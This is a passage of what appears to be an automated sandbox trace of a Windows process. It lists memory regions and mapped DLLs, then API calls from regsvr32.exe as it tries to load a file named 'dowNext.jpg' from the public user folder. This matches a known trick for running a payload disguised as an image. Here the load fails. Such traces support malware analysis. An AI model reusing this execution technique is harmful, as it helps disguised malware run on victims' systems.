entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 1412
start_va = 0x400000
end_va = 0x43ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1413
start_va = 0x480000
end_va = 0x57ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000480000"
filename = ""
Region:
id = 1414
start_va = 0x6f000000
end_va = 0x6f20efff
monitored = 0
entry_point = 0x6f0ab0a0
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll")
Region:
id = 1415
start_va = 0x150000
end_va = 0x150fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 1416
start_va = 0x160000
end_va = 0x161fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000160000"
filename = ""
Region:
id = 1417
start_va = 0x706d0000
end_va = 0x70744fff
monitored = 0
entry_point = 0x70709a60
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 1418
start_va = 0x960000
end_va = 0xa2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000960000"
filename = ""
Region:
id = 1419
start_va = 0x658c0000
end_va = 0x6593afff
monitored = 0
entry_point = 0x658e4d80
region_type = mapped_file
name = "duser.dll"
filename = "\\Windows\\SysWOW64\\duser.dll" (normalized: "c:\\windows\\syswow64\\duser.dll")
Region:
id = 1420
start_va = 0x440000
end_va = 0x47ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000440000"
filename = ""
Region:
id = 1421
start_va = 0x960000
end_va = 0x99ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000960000"
filename = ""
Region:
id = 1422
start_va = 0xa20000
end_va = 0xa2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000a20000"
filename = ""
Region:
id = 1423
start_va = 0x76030000
end_va = 0x7614efff
monitored = 0
entry_point = 0x76075980
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")
Region:
id = 1424
start_va = 0x150000
end_va = 0x150fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000150000"
filename = ""
Region:
id = 1425
start_va = 0xa30000
end_va = 0xaebfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000a30000"
filename = ""
Region:
id = 1426
start_va = 0x150000
end_va = 0x153fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000150000"
filename = ""
Region:
id = 1427
start_va = 0x701d0000
end_va = 0x701ecfff
monitored = 0
entry_point = 0x701d3b10
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")
Region:
id = 1428
start_va = 0x180000
end_va = 0x184fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "user32.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui")
Region:
id = 1429
start_va = 0x190000
end_va = 0x193fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000190000"
filename = ""
Region:
id = 1430
start_va = 0x1f0000
end_va = 0x1f0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001f0000"
filename = ""
Region:
id = 1431
start_va = 0x9a0000
end_va = 0x9a0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000009a0000"
filename = ""
Region:
id = 1432
start_va = 0xaf0000
end_va = 0xb6ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000af0000"
filename = ""
Region:
id = 1433
start_va = 0x70040000
end_va = 0x7006cfff
monitored = 0
entry_point = 0x70052b00
region_type = mapped_file
name = "xmllite.dll"
filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll")
Region:
id = 1435
start_va = 0x9b0000
end_va = 0x9b0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "duser.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\duser.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\duser.dll.mui")
Region:
id = 1436
start_va = 0x65c70000
end_va = 0x65c7cfff
monitored = 0
entry_point = 0x65c77d80
region_type = mapped_file
name = "atlthunk.dll"
filename = "\\Windows\\SysWOW64\\atlthunk.dll" (normalized: "c:\\windows\\syswow64\\atlthunk.dll")
Region:
id = 1437
start_va = 0xb70000
end_va = 0xea6fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1438
start_va = 0x9c0000
end_va = 0x9c3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000009c0000"
filename = ""
Region:
id = 1439
start_va = 0x9d0000
end_va = 0x9d2fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "comctl32.dll.mui"
filename = "\\Windows\\WinSxS\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.10586.0_en-us_e9ce2dce92807715\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.10586.0_en-us_e9ce2dce92807715\\comctl32.dll.mui")
Region:
id = 1440
start_va = 0x6500000
end_va = 0x911dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "imageres.dll"
filename = "\\Windows\\SysWOW64\\imageres.dll" (normalized: "c:\\windows\\syswow64\\imageres.dll")
Region:
id = 1441
start_va = 0x9120000
end_va = 0x951afff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009120000"
filename = ""
Region:
id = 1442
start_va = 0x9520000
end_va = 0x9a11fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009520000"
filename = ""
Region:
id = 1443
start_va = 0x9a20000
end_va = 0xaa5ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "staticcache.dat"
filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")
Region:
id = 1444
start_va = 0x9e0000
end_va = 0x9e0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000009e0000"
filename = ""
Region:
id = 1445
start_va = 0x9e0000
end_va = 0xa1cfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000009e0000"
filename = ""
Thread:
id = 55
os_tid = 0x508
[0215.661] GetStartupInfoW (in: lpStartupInfo=0xdff14 | out: lpStartupInfo=0xdff14*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\regsvr32.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0215.661] GetModuleHandleA (lpModuleName=0x0) returned 0x10f0000
[0215.663] __set_app_type (_Type=0x2)
[0215.663] __p__fmode () returned 0x75734d6c
[0215.663] __p__commode () returned 0x75735b1c
[0215.663] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10f2ca0) returned 0x0
[0215.663] __wgetmainargs (in: _Argc=0x10f40d8, _Argv=0x10f40dc, _Env=0x10f40e0, _DoWildCard=0, _StartInfo=0x10f40ec | out: _Argc=0x10f40d8, _Argv=0x10f40dc, _Env=0x10f40e0) returned 0
[0215.663] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0215.663] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x22, ProcessInformation=0xdee94, ProcessInformationLength=0x4) returned 0xc0000022
[0215.663] lstrlenW (lpString="c:\\users\\public\\dowNext.jpg") returned 27
[0215.663] OleInitialize (pvReserved=0x0) returned 0x0
[0215.694] _wsplitpath_s (in: _FullPath="c:\\users\\public\\dowNext.jpg", _Drive=0x0, _DriveCount=0x0, _Dir=0x0, _DirCount=0x0, _Filename=0x0, _FilenameCount=0x0, _Ext=0xdea78, _ExtCount=0x100 | out: _Drive=0x0, _Dir=0x0, _Filename=0x0, _Ext=".jpg") returned 0x0
[0215.694] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".jpg", ulOptions=0x0, samDesired=0x1, phkResult=0xdea74 | out: phkResult=0xdea74*=0x1f2) returned 0x0
[0215.694] RegQueryValueExW (in: hKey=0x1f2, lpValueName=0x0, lpReserved=0x0, lpType=0x0, lpData=0xdec78, lpcbData=0xdea70*=0x200 | out: lpType=0x0, lpData=0xdec78*=0x6a, lpcbData=0xdea70*=0x12) returned 0x0
[0215.694] RegCloseKey (hKey=0x1f2) returned 0x0
[0215.694] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey="jpegfile", ulOptions=0x0, samDesired=0x1, phkResult=0xdea74 | out: phkResult=0xdea74*=0x1f2) returned 0x0
[0215.695] RegOpenKeyExW (in: hKey=0x1f2, lpSubKey="AutoRegister", ulOptions=0x0, samDesired=0x1, phkResult=0xdea6c | out: phkResult=0xdea6c*=0x0) returned 0x2
[0215.695] RegCloseKey (hKey=0x1f2) returned 0x0
[0215.695] SetErrorMode (uMode=0x1) returned 0x0
[0215.695] LoadLibraryExW (lpLibFileName="c:\\users\\public\\dowNext.jpg", hFile=0x0, dwFlags=0x8) returned 0x0
[0215.785] SetErrorMode (uMode=0x0) returned 0x1
[0215.785] GetLastError () returned 0xc1
[0215.785] GetCommandLineW () returned="\"C:\\Windows\\System32\\regsvr32.exe\" c:\\users\\public\\dowNext.jpg"
[0215.787] CreateFileW (lpFileName="c:\\users\\public\\dowNext.jpg" (normalized: "c:\\users\\public\\downext.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0
[0215.787] ReadFile (in: hFile=0x1f0, lpBuffer=0xde898, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0xde894, lpOverlapped=0x0 | out: lpBuffer=0xde898*, lpNumberOfBytesRead=0xde894*=0x40, lpOverlapped=0x0) returned 1
[0215.789] CloseHandle (hObject=0x1f0) returned 1
[0215.789] LoadStringW (in: hInstance=0x10f0000, uID=0xd, lpBuffer=0xdde6c, cchBufferMax=1024 | out: lpBuffer="The module \"%1\" may not compatible with the version of Windows that you're running. Check if the module is compatible with an x86 (32-bit) or x64 (64-bit) version of regsvr32.exe.") returned 0xb3
[0215.789] lstrlenW (lpString="c:\\users\\public\\dowNext.jpg") returned 27
[0215.789] wcscpy_s (in: _Destination=0xde684, _SizeInWords=0x3f4, _Source="c:\\users\\public\\dowNext.jpg" | out: _Destination="c:\\users\\public\\dowNext.jpg") returned 0x0
[0215.790] lstrlenW (lpString="c:\\users\\public\\dowNext.jpg") returned 27
[0215.790] GetModuleHandleW (lpModuleName="user32.dll") returned 0x74790000
[0215.790] GetProcAddress (hModule=0x74790000, lpProcName="SetProcessDPIAware") returned 0x747c4140
[0215.790] SetProcessDPIAware () returned 1
[0215.943] TaskDialog (hwndOwner=0x0, hInstance=0x0, pszWindowTitle="RegSvr32", pszMainInstruction=0x0, pszContent="The module \"c:\\users\\public\\dowNext.jpg\" may not compatible with the version of Windows that you're running. Check if the module is compatible with an x86 (32-bit) or x64 (64-bit) version of regsvr32.exe.", dwCommonButtons=0x1, pszIcon=0xfffe, pnButton=0xdde68)
Thread:
id = 56
os_tid = 0xca0
Thread:
id = 57
os_tid = 0x5a4